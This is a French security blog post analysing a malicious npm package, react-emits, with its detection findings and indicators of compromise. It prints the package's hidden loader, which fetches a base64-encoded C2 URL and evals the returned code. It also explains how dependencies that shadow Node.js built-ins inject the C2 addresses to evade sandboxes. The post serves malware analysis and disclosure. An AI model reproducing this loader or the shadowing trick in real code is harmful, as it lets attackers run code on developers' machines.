← Blog

5 avril 2026, 03:46 UTC. Le moniteur MUAD'DIB capte un nouveau package npm : react-emits@1.0.0. Score 100. Priorité P1. Verdict : DORMANT SUSPECT (sandbox clean). Quatre versions publiées en quatre heures (1.0.0, 1.0.1, 1.0.2, 1.0.3). Auteur : react-jason <ohoney554@gmail.com>, compte créé pour l'occasion.

Investigation manuelle : malware confirmé. Report soumis à npm Security via le formulaire officiel.

Premier signal : l'incohérence

Le package s'appelle react-emits. Sa description : "Node.js path module". Son point d'entrée : ./path.js.

Un package React dont la description parle du module path natif et dont le main est un fichier appelé path.js. C'est le genre d'incohérence qui ne ment pas.

En ouvrant path.js, c'est une copie quasi verbatim du module natif path de Node.js. 600+ lignes de code légitime. Sauf qu'au milieu, deux blocs de code qui n'ont rien à faire là.

Le payload

Deux IIFE (Immediately Invoked Function Expression) malveillantes injectées dans le code du module path, aux alentours des lignes 548 et 606 :

(function () {
  fetch(atob(randomStringRe))
    .then((t) => t.json())
    .then((data) => {
      eval(data.content);
    })
})();

Le pattern est classique : fetch(atob(variable)) décode une URL en base64, télécharge du JSON, et eval(data.content) exécute le code renvoyé par le serveur C2. Deux IIFE, deux URL C2 différentes (randomStringRe et tokenStringRe). Redondance : si un serveur tombe, l'autre prend le relais.

Le détail important : les variables randomStringRe et tokenStringRe ne sont déclarées nulle part dans path.js. Elles sont injectées à l'exécution par les dépendances malveillantes.

Les dépendances

Le package.json de react-emits déclare 5 dépendances :

DépendanceRôle
fs@^0.0.1-securityIOC connu. Faux package qui shadow le module natif fs
execp@^0.0.1Wrapper malveillant
process@^0.11.1Shadow du module natif process
path@^0.12.7Shadow du module natif path
util@^0.10.3Shadow du module natif util

La technique est connue : publier sur npm des packages qui portent le même nom que des modules natifs Node.js (fs, process, path, util). Quand npm install résout les dépendances, ces packages shadowing sont installés dans node_modules/ et prennent le pas sur les modules natifs. C'est eux qui injectent les variables globales randomStringRe et tokenStringRe que les IIFE de path.js utilisent pour contacter le C2.

fs@0.0.1-security est un cas particulier : c'est un IOC connu dans la base MUAD'DIB (225 000+ packages malveillants). Sa seule présence dans les dépendances est un signal fort.

Ce que MUAD'DIB a détecté

8 findings, score total 100/100 :

RègleTypeSévéritéDescription
MUADDIB-AST-040remote_code_loadCRITICALfetch + eval dans le même fichier
MUADDIB-FLOW-002staged_payloadCRITICALfetch + eval (staged payload)
MUADDIB-INTENT-001intent_credential_exfilCRITICALcredential_read → exec_sink
MUADDIB-AST-004dangerous_call_evalHIGHeval avec expression dynamique
MUADDIB-AST-041credential_regex_harvestHIGHregex credentials + appel réseau
MUADDIB-DEP-006dependency_ioc_matchHIGHfs@0.0.1-security dans les IOC
MUADDIB-AST-002env_accessMEDIUMaccès dynamique process.env
MUADDIB-FLOW-001suspicious_dataflowMEDIUMcredentials → fetch → eval

Trois couches de détection se recoupent : l'analyse AST voit le fetch + eval, le dataflow trace la chaîne credentials → réseau → exécution, et l'intent graph confirme la cohérence source-sink dans le même fichier. Le match IOC sur fs@0.0.1-security ajoute un signal indépendant.

C'est exactement le type de convergence multi-scanner qui distingue un vrai positif d'un faux positif. Un bundler peut avoir un eval(). Un bundler n'a pas un eval() + un IOC match + une chaîne credential → exfil.

Pourquoi la sandbox n'a rien vu

Le verdict était DORMANT SUSPECT, pas MALICIOUS. La sandbox gVisor a exécuté le package et n'a rien détecté. Voici pourquoi.

Le malware est conçu en deux parties séparées : le payload (path.js avec les deux IIFE) et le trigger (les dépendances malveillantes qui injectent les variables C2). Sans les variables randomStringRe et tokenStringRe, les deux fetch(atob(undefined)) échouent silencieusement. Le .then() ne s'exécute jamais, le eval() non plus.

Dans la sandbox gVisor, les dépendances malveillantes ne s'activent pas correctement. Soit le réseau bloqué empêche leur résolution complète, soit les variables globales ne sont pas injectées dans le bon contexte d'exécution. Dans les deux cas, les IIFE sont du code mort à l'exécution.

C'est un pattern évasif classique : séparer le payload du trigger. L'analyse dynamique ne voit rien parce que le code ne s'exécute jamais complètement sans les bonnes conditions. L'analyse statique, elle, voit le code dangereux indépendamment de son exécution : fetch + atob + eval, c'est un staged payload. L'intent analysis détecte la chaîne credential → exfil. Le match IOC confirme.

C'est la complémentarité des couches. La sandbox rate ce que le scan statique attrape. Et inversement, un malware qui n'a pas de patterns statiques détectables mais qui s'active en sandbox sera attrapé par l'autre couche. Ici, le statique a suffi. Score 100 sur la seule analyse statique.

Le report

Après confirmation manuelle du comportement malveillant, j'ai soumis un report à npm Security via le formulaire officiel sur npmjs.com. Le report inclut les 8 findings, l'analyse du payload, les dépendances malveillantes, et la timeline de publication (4 versions en 4 heures).

Indicateurs de compromission

Package:    react-emits
Versions:   1.0.0, 1.0.1, 1.0.2, 1.0.3
Auteur:     react-jason <ohoney554@gmail.com>
Publie:     2026-04-05 03:46 UTC
IOC dep:    fs@0.0.1-security, execp@0.0.1
Shadowing:  process@0.11.1, path@0.12.7, util@0.10.3
Payload:    path.js lignes ~548, ~606 (IIFE fetch+atob+eval)
Score:      100/100 (3 CRITICAL, 3 HIGH, 2 MEDIUM)

Leçon

react-emits n'est pas un malware sophistiqué. Le pattern fetch(atob(x)) + eval est documenté depuis des années. Les dépendances qui shadow les modules natifs, c'est connu. Le compte jetable et les 4 versions en 4 heures, c'est du bruit facile à repérer.

Mais c'est exactement ce type d'attaque qui fonctionne en volume. L'attaquant ne cherche pas à tromper un analyste humain. Il cherche à passer inaperçu dans les 10 000 packages publiés chaque jour sur npm. Pendant les quelques heures entre la publication et le takedown, chaque npm install d'un dev qui ne vérifie pas ses dépendances est une compromission potentielle.

Le moniteur MUAD'DIB a détecté react-emits à la première publication. Le scan statique a fait le travail que la sandbox n'a pas pu faire. Et le report a été soumis dans les heures qui ont suivi.

C'est à ça que sert un scanner 24/7 : pas à détecter le malware parfait, mais à attraper le malware ordinaire avant qu'il fasse des dégâts.